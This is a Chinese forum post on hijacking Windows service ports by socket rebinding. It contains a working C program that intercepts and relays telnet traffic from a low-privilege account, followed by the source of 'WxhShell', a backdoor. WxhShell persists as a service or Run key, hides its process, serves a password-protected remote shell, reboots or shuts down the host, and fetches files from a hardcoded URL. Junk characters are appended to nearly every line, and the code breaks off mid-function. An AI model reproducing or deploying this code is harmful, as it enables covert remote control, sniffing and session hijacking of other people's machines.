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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ok-.}q>\Mv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >cmE t  
xgsjm) )  
  saddr.sin_family = AF_INET; ^D67y%  
BfTcI)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~q +[<xR\  
*v%rMU7,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L *[K>iW  
0"k |H&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 donw(_=  
f2)XP$:  
  这意味着什么?意味着可以进行如下的攻击: 7YWNd^FI V  
s$h] G[x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !7B\Xl'S  
)o _j]K+xI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +0z 7KO%^^  
d?,M/$h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0\{BWNK  
D]! aT+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %Tn#-  
N^?9ZO   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :q##fG 'm/  
iP~,n8W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *y[PNqyd  
%T`U^ Pnr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =wu*D5  
qd@&59zSh  
  #include )4Q?aMm  
  #include |w}w.%  
  #include 6`01EIk  
  #include    em@EDMvI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jZfx Jm  
  int main() JwnAW}=  
  { f6<g3Q7Mu  
  WORD wVersionRequested; U4?(A@z9^  
  DWORD ret; 4_M>OD/"  
  WSADATA wsaData; /BKe+]dS*  
  BOOL val; !v#xb3"/  
  SOCKADDR_IN saddr; fg%&N2/(.B  
  SOCKADDR_IN scaddr; `rY2up#%  
  int err; m8]?hJY 3l  
  SOCKET s; 6&v? )o  
  SOCKET sc; DLE8+NV8   
  int caddsize; 1pp -=$k  
  HANDLE mt; WUdKLx %F  
  DWORD tid;   e= P  
  wVersionRequested = MAKEWORD( 2, 2 ); J a,d3K  
  err = WSAStartup( wVersionRequested, &wsaData ); r~[vaQQ6L  
  if ( err != 0 ) { m,LG=s  
  printf("error!WSAStartup failed!\n"); ig"uXs  
  return -1; d=.2@Ry  
  } 8am`6;O:!  
  saddr.sin_family = AF_INET; e>'H IO  
   `A%^UCd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9e!NOl\_;.  
ye 6H*K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YL^=t^ !4  
  saddr.sin_port = htons(23); [ANuBNF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 46jh-4) <  
  { RH)EB<PV  
  printf("error!socket failed!\n"); s3s4OAY  
  return -1; wy1X\PJjH  
  } }SyxPXs  
  val = TRUE; fCAiLkT,C[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yWPIIWHx!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EER`?Sa(  
  { 6bc3 37b  
  printf("error!setsockopt failed!\n"); 1a0kfM$  
  return -1; RH0>ZZR  
  } c2l_$p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _hf4A8ak  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mbl]>JsQD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y2HxP_s?P?  
I 1d0iU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yKagT$-  
  { W3W'oo  
  ret=GetLastError(); }`VDD?M  
  printf("error!bind failed!\n"); JF9yVE-  
  return -1; \b8sG"G  
  } !X >=l  
  listen(s,2); ~iBgw&Y  
  while(1) #1'\.v  
  { a[bBT@f  
  caddsize = sizeof(scaddr); YO)$M-]>%J  
  //接受连接请求 AT Zhr. H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $V>98M>j  
  if(sc!=INVALID_SOCKET) !H][LXB~H  
  { 7"X>?@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  n]W_e  
  if(mt==NULL) F7m?xy  
  { ge3sU5iZ  
  printf("Thread Creat Failed!\n"); $>M<j  
  break; f}c\_}(  
  } txql 2  
  } =`n]/L"Q  
  CloseHandle(mt); mwv(j_  
  } =]R3& ]#n  
  closesocket(s); 0X2@CPIFf  
  WSACleanup(); MWk:sBCqr  
  return 0; ;#GoGb4AM  
  }   +eX)48  
  DWORD WINAPI ClientThread(LPVOID lpParam) S&C1TC  
  { X8eJ4%  
  SOCKET ss = (SOCKET)lpParam; 1x J TWWj-  
  SOCKET sc; GnXNCeE`  
  unsigned char buf[4096]; TOF '2&H  
  SOCKADDR_IN saddr; vh!v MB}}  
  long num; NIr@R7MKd  
  DWORD val; k`HP "H  
  DWORD ret; `[#x_<\t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n@C~ev@%S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W) j|rz.  
  saddr.sin_family = AF_INET; ?eV(1 Fr@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .V9e=yW!*  
  saddr.sin_port = htons(23); [ //R~i?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V+-$ jOh  
  { < |O^>s;  
  printf("error!socket failed!\n"); PALl sGlf  
  return -1; gQSNU_o Z  
  } Vpfp}pL  
  val = 100; z7.|fE)<6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _?7#MWe&  
  { C9n}6Er=,  
  ret = GetLastError(); >C WKH~  
  return -1; 5(2|tJw-H;  
  } "bg'@:4F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3LR p2(A  
  { ;Lw{XqT  
  ret = GetLastError(); f"#m=_Xm  
  return -1; R)?{]]v  
  } HJ?+A-n/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~s Qjl]  
  { fqz28aHh  
  printf("error!socket connect failed!\n"); C`rLj5E%  
  closesocket(sc); Oh.ZPG=  
  closesocket(ss); *x~xWg9^  
  return -1; / il@`w;G  
  } #yseiVm;  
  while(1) (LvS :?T}  
  { iVtl72O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2s*#u<I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~pk(L[G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }y%`)lz~;  
  num = recv(ss,buf,4096,0); :H6FPV78  
  if(num>0) +1C3`0(  
  send(sc,buf,num,0); wyx(FinIH  
  else if(num==0) "Y`3DxXz  
  break; T[k4lM  
  num = recv(sc,buf,4096,0); C;AA/4Ib  
  if(num>0) y #f QPR  
  send(ss,buf,num,0); :_<_[Y]1  
  else if(num==0) ukgAI<O%  
  break; zHWSE7!  
  } D8{D [fJ;  
  closesocket(ss); zxb/  
  closesocket(sc); i[C~5}%  
  return 0 ; ;:S&F  
  } e[u?_h  
6q<YJ.,  
yAT^VRbv  
========================================================== {s?M*_{|  
14eW4~Mr  
下边附上一个代码,,WXhSHELL os3 8u!3-  
|s7`F%  
========================================================== )'4P.>!!aQ  
pnyWcrBf  
#include "stdafx.h" 09KcKhFB  
%U7.7dSOI;  
#include <stdio.h> S|V4[ssB  
#include <string.h> lA!"z~03*  
#include <windows.h> 5cr(S~Q;  
#include <winsock2.h> 9L0GLmLk1u  
#include <winsvc.h> 4rK{-jvh>m  
#include <urlmon.h>  I7+9~5p  
~8 H_u  
#pragma comment (lib, "Ws2_32.lib") +1JH  
#pragma comment (lib, "urlmon.lib") ,ea^,H6  
m .IU ;cR  
#define MAX_USER   100 // 最大客户端连接数 #$~ba %t9%  
#define BUF_SOCK   200 // sock buffer r'LVa6e"N  
#define KEY_BUFF   255 // 输入 buffer ->z54 T  
# M, 7  
#define REBOOT     0   // 重启 \mM<\-'p  
#define SHUTDOWN   1   // 关机 |rw%FM{F  
N(6|yZ<J3M  
#define DEF_PORT   5000 // 监听端口 /gcEw!JS  
!2\ r LN  
#define REG_LEN     16   // 注册表键长度 qL$a c}`  
#define SVC_LEN     80   // NT服务名长度 ?,P3)&3g  
n>3U_yt6b  
// 从dll定义API }K1 0Po'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^{$FI`P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F+ <Z<q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v!3A9!.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #v#<itfFH  
S>G?Q_&}?D  
// wxhshell配置信息 WS-dS6Q}  
struct WSCFG { 0|xIBg)  
  int ws_port;         // 监听端口 qL6c`(0  
  char ws_passstr[REG_LEN]; // 口令 "@@I!RwA  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2=0DCF;Bv  
  char ws_regname[REG_LEN]; // 注册表键名 A,-6|&F  
  char ws_svcname[REG_LEN]; // 服务名 UrlM%Jnq1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S0h'50WteJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'AGto'Yy;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bUV >^d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8*SDiZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _8fr6tO+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9 Gy  
+:=(#Y  
}; :Eh\NOc_O  
onCKI,"  
// default Wxhshell configuration *,C(\!b !?  
struct WSCFG wscfg={DEF_PORT, 7 J^rv9i4  
    "xuhuanlingzhe", q>f<u&  
    1, (z7vl~D  
    "Wxhshell", r0t^g9K0  
    "Wxhshell", pA.J@,>`}  
            "WxhShell Service", H~eRT1  
    "Wrsky Windows CmdShell Service", !IU.a90V  
    "Please Input Your Password: ", o56`  
  1, ~"pKe~h   
  "http://www.wrsky.com/wxhshell.exe", I&?Qq k  
  "Wxhshell.exe" %+ 7p lM  
    }; -m'j]1  
i"zuil  
// 消息定义模块 jdKOb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I jr\5FA[p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !g~1&Uw1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5Dp#u  
char *msg_ws_ext="\n\rExit."; =4uSFK_L  
char *msg_ws_end="\n\rQuit."; AIb2k  
char *msg_ws_boot="\n\rReboot..."; xX3'bsN  
char *msg_ws_poff="\n\rShutdown..."; OJT1d-5p  
char *msg_ws_down="\n\rSave to "; YzosZ! L!<  
dpQG[vXe  
char *msg_ws_err="\n\rErr!"; { pu85'DV  
char *msg_ws_ok="\n\rOK!"; ERwHLA  
V^y^ ;0I}[  
char ExeFile[MAX_PATH]; ')a(.f  
int nUser = 0; 5vo.[^ty  
HANDLE handles[MAX_USER]; j.a`N2]WE  
int OsIsNt; hPq%L c  
kdz=ltw  
SERVICE_STATUS       serviceStatus; -?]W*f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #QCphhG  
&1%q"\VI  
// 函数声明 R [H+qr  
int Install(void); Yw _+`,W   
int Uninstall(void); 0![ +Q4"  
int DownloadFile(char *sURL, SOCKET wsh); a{!QOX%K  
int Boot(int flag); 8u[-'pV!  
void HideProc(void); i'stw6*J  
int GetOsVer(void); umz;F  
int Wxhshell(SOCKET wsl); T5urZq*R  
void TalkWithClient(void *cs); FZreP.2)!  
int CmdShell(SOCKET sock); \xg]oKbn  
int StartFromService(void); aA7=q=  
int StartWxhshell(LPSTR lpCmdLine); |AZg*T3:W  
I H$0)g;s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gm*X'[\DD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9nu3+.&P  
XdH\OJ  
// 数据结构和表定义 "CiTa>x  
SERVICE_TABLE_ENTRY DispatchTable[] = +cb6??H  
{ NvM*h%ChM  
{wscfg.ws_svcname, NTServiceMain}, .ROznCe}  
{NULL, NULL} "#mBcQ;QLV  
}; S9HwIH\m  
kd"N 29  
// 自我安装 a^,(v  
int Install(void) G0E121`h  
{ ,C3,TkA]  
  char svExeFile[MAX_PATH]; ~>9_(L  
  HKEY key; q2HYiH^L  
  strcpy(svExeFile,ExeFile); Q)"A-"y  
&.TTJsKG h  
// 如果是win9x系统,修改注册表设为自启动 Ym;*Y !~[  
if(!OsIsNt) { d1[ZHio2c?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +r3IN){jz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8[6o (  
  RegCloseKey(key); ZiLj=bh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o1nURJ!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (8_\^jJ  
  RegCloseKey(key); \EseGgd21  
  return 0; ETs>`#`6o  
    } RK w$-7O  
  } UGK*Gy  
} mN8pg4  
else { F R|&^j6  
A'P(a`  
// 如果是NT以上系统,安装为系统服务 Fl(T\-Eu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -G6U$  
if (schSCManager!=0) Ty88}V  
{ g^zs,4pPU<  
  SC_HANDLE schService = CreateService fhB}9i^]tg  
  ( 0p89: I*0  
  schSCManager, yDNOtC|  
  wscfg.ws_svcname, HSq}7S&U  
  wscfg.ws_svcdisp, k4 F"'N   
  SERVICE_ALL_ACCESS, \W,I?Kx$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 36US5ef  
  SERVICE_AUTO_START, EJ2yO@5O  
  SERVICE_ERROR_NORMAL, >:lnt /N3  
  svExeFile, e}1uz3Rh  
  NULL, ^pHq66d%Z  
  NULL, s+>:,U<A  
  NULL, n]he-NHP  
  NULL, #m={yck *  
  NULL <$JaWL  
  ); s(W|f|R  
  if (schService!=0) A_KW(;50  
  { >M&3Y XC  
  CloseServiceHandle(schService); ~i 7^P9  
  CloseServiceHandle(schSCManager); 0Won9P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QY== GfHt  
  strcat(svExeFile,wscfg.ws_svcname); Y3Q9=u*5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ImrOf^qt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y`?-VaY  
  RegCloseKey(key); Agrk|wPK  
  return 0; s.8{5jVG  
    } :6%Z]tt  
  } X.:]=,aGW  
  CloseServiceHandle(schSCManager); $MJm*6h  
} ->N8#XH2=  
} k1Q ?'<`  
6Cp]NbNrq  
return 1; O$cHZs$  
} 2 3gPbtq/  
.9.2Be  
// 自我卸载 r(9~$_(vK  
int Uninstall(void) XVU2T5s}  
{ z?35=%~w   
  HKEY key; R LD`O9#j  
Z(Jt~a3o  
if(!OsIsNt) { itMg|%B%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D_Bb?o5  
  RegDeleteValue(key,wscfg.ws_regname); g:EVhuK  
  RegCloseKey(key); T1H"\+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OrK&RC  
  RegDeleteValue(key,wscfg.ws_regname); P9 Z}H(?C  
  RegCloseKey(key); 7B?c{  
  return 0; Pi|o`d  
  } V*~Zs'L'E  
} iQ"XLrpl  
} t%8d-+$  
else { jVq(?Gc  
l} qE 46EL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PdvqDa8  
if (schSCManager!=0) 4f<$4d^md  
{ Q%f|~Kl-hd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <m'ow  
  if (schService!=0) M8u<qj&<O  
  { Od|$Y+@6  
  if(DeleteService(schService)!=0) { #^ ]n0!  
  CloseServiceHandle(schService); mml z&h  
  CloseServiceHandle(schSCManager); x,'!eCKN  
  return 0; z<5m fAm  
  } V(E/'DR  
  CloseServiceHandle(schService); ccL~#c0P7  
  } 3'X.}>o   
  CloseServiceHandle(schSCManager); (P`3 @H  
} +U@<\kIF  
} ZzX~&95G  
n?c]M  
return 1; &zo|Lfe  
} Sf r&p>{,  
S.a%  
// 从指定url下载文件 XO'l Nb.  
int DownloadFile(char *sURL, SOCKET wsh) .rf" (lM  
{ L{c q, jk  
  HRESULT hr; FLY Ca  
char seps[]= "/"; ,`aq+K  
char *token; ^,]B@ t2  
char *file; !*OJ.W&  
char myURL[MAX_PATH]; .(WQYOMl0  
char myFILE[MAX_PATH]; iya"ky~H  
LupkrxV  
strcpy(myURL,sURL); tzh1s i  
  token=strtok(myURL,seps); nb>7UN.9  
  while(token!=NULL) ivz{L-  
  { -(bkr+N  
    file=token; } GiHjzsR  
  token=strtok(NULL,seps); 42qYg(tZ  
  } 'R:"5d  
NG6& :4!  
GetCurrentDirectory(MAX_PATH,myFILE); .AU)*7Gh  
strcat(myFILE, "\\"); ',S'.U  
strcat(myFILE, file); Z@$8I{}G  
  send(wsh,myFILE,strlen(myFILE),0); l(#)WWr+  
send(wsh,"...",3,0); dYgXtl=#j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T|6a("RL  
  if(hr==S_OK) &sd}ulEg`  
return 0; G}G#i`6o  
else j.@\3'  
return 1; ,#kIr  
pt}X>ph{  
} wLH] <k  
(zFi$  
// 系统电源模块 k Zq!&  
int Boot(int flag) &EnuE0BD  
{ ^) s2$A:L  
  HANDLE hToken; L{`JRu  
  TOKEN_PRIVILEGES tkp; E)fglYWs2  
s91JBP|B7  
  if(OsIsNt) { UMcgdJB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z.I9wQ]X[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mOlI#5H  
    tkp.PrivilegeCount = 1; ze]h..,]K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yiA<,!;4P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J`^I./  
if(flag==REBOOT) { oo.2Dn6z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }O4^Cc6  
  return 0; q')R4=0 K  
} `kJ^zw+  
else { `{xNXH]@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +o51x'Ld*  
  return 0; O7$hYk  
} \R;`zuv   
  } 6efnxxY}sa  
  else { X7g1:L1Ys  
if(flag==REBOOT) { G"XVn~]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u5%7}<nNi  
  return 0; ]]wA[c~G  
} G@Z?&"    
else { 7?%k7f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v*[.a#1^  
  return 0; AD<q%pu&H?  
} X<%Q"2hW  
} mFZ?hOyP.  
;{%\9nS  
return 1; {b   
} ~Wa6J4B{K  
_n` a`2C|m  
// win9x进程隐藏模块 i|m3mcI%2  
void HideProc(void) 6ZQwBS0Y  
{ Q(oN/y3,  
7[}xP#Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KPj\-g'A  
  if ( hKernel != NULL ) =HlQ36;*  
  { 7fba-7-P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w2'f/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  pn5Q5xc  
    FreeLibrary(hKernel); K]0JC/R6(@  
  } 5)MS~ii  
<fFTY130:  
return; dp*u9z~NA  
} F;<xnC{[  
CLJ;<  
// 获取操作系统版本 TBT:/Vfun  
int GetOsVer(void) ={xE!"  
{ 7 !JQB  
  OSVERSIONINFO winfo; Yn G_m]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2mGaD\?K  
  GetVersionEx(&winfo); q CnZhJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wGP;Vbk  
  return 1; 6Z%U`,S  
  else p ObX42  
  return 0; (X3Tav  
} x" L20}  
:FTMmW,>'  
// 客户端句柄模块 e F3,2DD C  
int Wxhshell(SOCKET wsl) { >)#HD  
{ G8Y<1%`<  
  SOCKET wsh; % V8U (z  
  struct sockaddr_in client; #I bp(  
  DWORD myID; Ls] g  
PIwFF}<(  
  while(nUser<MAX_USER) Y*vW!yu  
{ f__cn^1  
  int nSize=sizeof(client); d! LE{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); De(Hw& IV  
  if(wsh==INVALID_SOCKET) return 1; ~,B5Hc 2  
K$E3QVa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S_IUV)  
if(handles[nUser]==0) l.NEkAYPmH  
  closesocket(wsh); ry`z(f  
else ZU%[guf  
  nUser++; >)M`IU[d^.  
  } CyXR i}W.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |* ;B  
|='z{WS  
  return 0; z-.+x3&o @  
} 6U R2IxbE  
9vvx*rD  
// 关闭 socket 5Ezw ~hn  
void CloseIt(SOCKET wsh) Pf\D-1gi  
{ m4l& eEp  
closesocket(wsh); 5?F__Hx*2  
nUser--; Bx4w)9+3  
ExitThread(0); U_n9]Z  
} ([m mPyp>L  
Lja>8m  
// 客户端请求句柄 yooX$  
void TalkWithClient(void *cs) ;CPr]avY  
{ [J4gH^Z_  
E{Ov>osq  
  SOCKET wsh=(SOCKET)cs; "q.\>MCv  
  char pwd[SVC_LEN]; J2xw) +  
  char cmd[KEY_BUFF]; ~ijVmWNk  
char chr[1]; [Q/TlOt5  
int i,j; ov_j4 j>6P  
j;-1J_e5  
  while (nUser < MAX_USER) { ?-dX`n  
6&!PmKFO.  
if(wscfg.ws_passstr) { <?riU\-]y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = 's(|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F.=2u"[*&  
  //ZeroMemory(pwd,KEY_BUFF); C8V/UbA /  
      i=0; BlA_.]Sg$  
  while(i<SVC_LEN) { 6MT1$7|P&x  
#0P$M!%  
  // 设置超时 :?g:~+hfO  
  fd_set FdRead; $',K7%y  
  struct timeval TimeOut; z4jR[x,  
  FD_ZERO(&FdRead); lrIS{MJ+-  
  FD_SET(wsh,&FdRead); zGA q-<  
  TimeOut.tv_sec=8; _0]S69lp  
  TimeOut.tv_usec=0; #/Vh|UeX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DkvF5c&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W"}M1o  
~nh:s|l6%M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pxCK;]  
  pwd=chr[0]; S/e2P|}  
  if(chr[0]==0xd || chr[0]==0xa) { C(#u[8  
  pwd=0; pu 7{a  
  break; 0;AA/  
  } ?&63#B,iZ  
  i++; 0Tx{3#  
    } CzRc%%BA  
hog=ut  
  // 如果是非法用户,关闭 socket Of[XKFn_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3TY5;6  
} l0PZ`m+;j  
;h*K}U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z8SmkL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6/r)y+H  
> dI LF  
while(1) { 7!EBH(,z  
Vr^n1sgE}r  
  ZeroMemory(cmd,KEY_BUFF); 4{rZppm  
S||}nJ0  
      // 自动支持客户端 telnet标准   ;>?rP88t  
  j=0; j}JrE,|  
  while(j<KEY_BUFF) { {MCi<7j<?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s/q7.y7n{  
  cmd[j]=chr[0]; p~BRh  
  if(chr[0]==0xa || chr[0]==0xd) { ,!Z *5  
  cmd[j]=0; DRp~jW(\y  
  break; &U5{Hm9Ynr  
  } QxVq^H  
  j++; T`\x,` ^  
    } t>urc  
:U3kW8;UMP  
  // 下载文件 qln3 k`  
  if(strstr(cmd,"http://")) { |"/8XA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %_RQx2  
  if(DownloadFile(cmd,wsh))  D#il*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /H(? 2IHC  
  else cDFO;Dr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); si`A:14R  
  } 52 fA/sx  
  else { %,6#2X nX%  
 -QM: q  
    switch(cmd[0]) { rV R1wsaL  
  A: 5x|  
  // 帮助 .TND  a&  
  case '?': { )Ch2E|C?=8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C":32_q  
    break; Gb#Cm]  
  } >L;eO'D  
  // 安装 } z _  
  case 'i': { "$ Y_UJT7  
    if(Install()) jkiFLtB@V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {*0<T|<n  
    else ![YX]+jqNp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @eD):Y  
    break; tD(7^GuR  
    } +cgSC5nR  
  // 卸载 RrX[|GLSJ  
  case 'r': { h|VeG3H  
    if(Uninstall()) <lw` 3aa(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j9?}j #@  
    else EQb7 -vhg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5!DBmAB  
    break; wQP^WzNE  
    } e vrXo"3  
  // 显示 wxhshell 所在路径 u frW\X  
  case 'p': { i'H/ZwU  
    char svExeFile[MAX_PATH]; n>+mL"hs  
    strcpy(svExeFile,"\n\r"); ryW'Z{+r'  
      strcat(svExeFile,ExeFile); OGde00  
        send(wsh,svExeFile,strlen(svExeFile),0); \r /ya<5  
    break; b J=Jg~&  
    } TUV&vz{  
  // 重启 ` k[-M2[  
  case 'b': { Szq/hv=Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); < Z{HX[y  
    if(Boot(REBOOT)) L;VoJf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cjqklb/  
    else { !%^^\,  
    closesocket(wsh); 4 N H  
    ExitThread(0); A+SE91m  
    } xy5lE+E_U  
    break; ,&j hlZ i  
    } a`&f  
  // 关机 { /K.3  
  case 'd': { WN{ 9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cik!GA  
    if(Boot(SHUTDOWN)) "!Uqcay-  
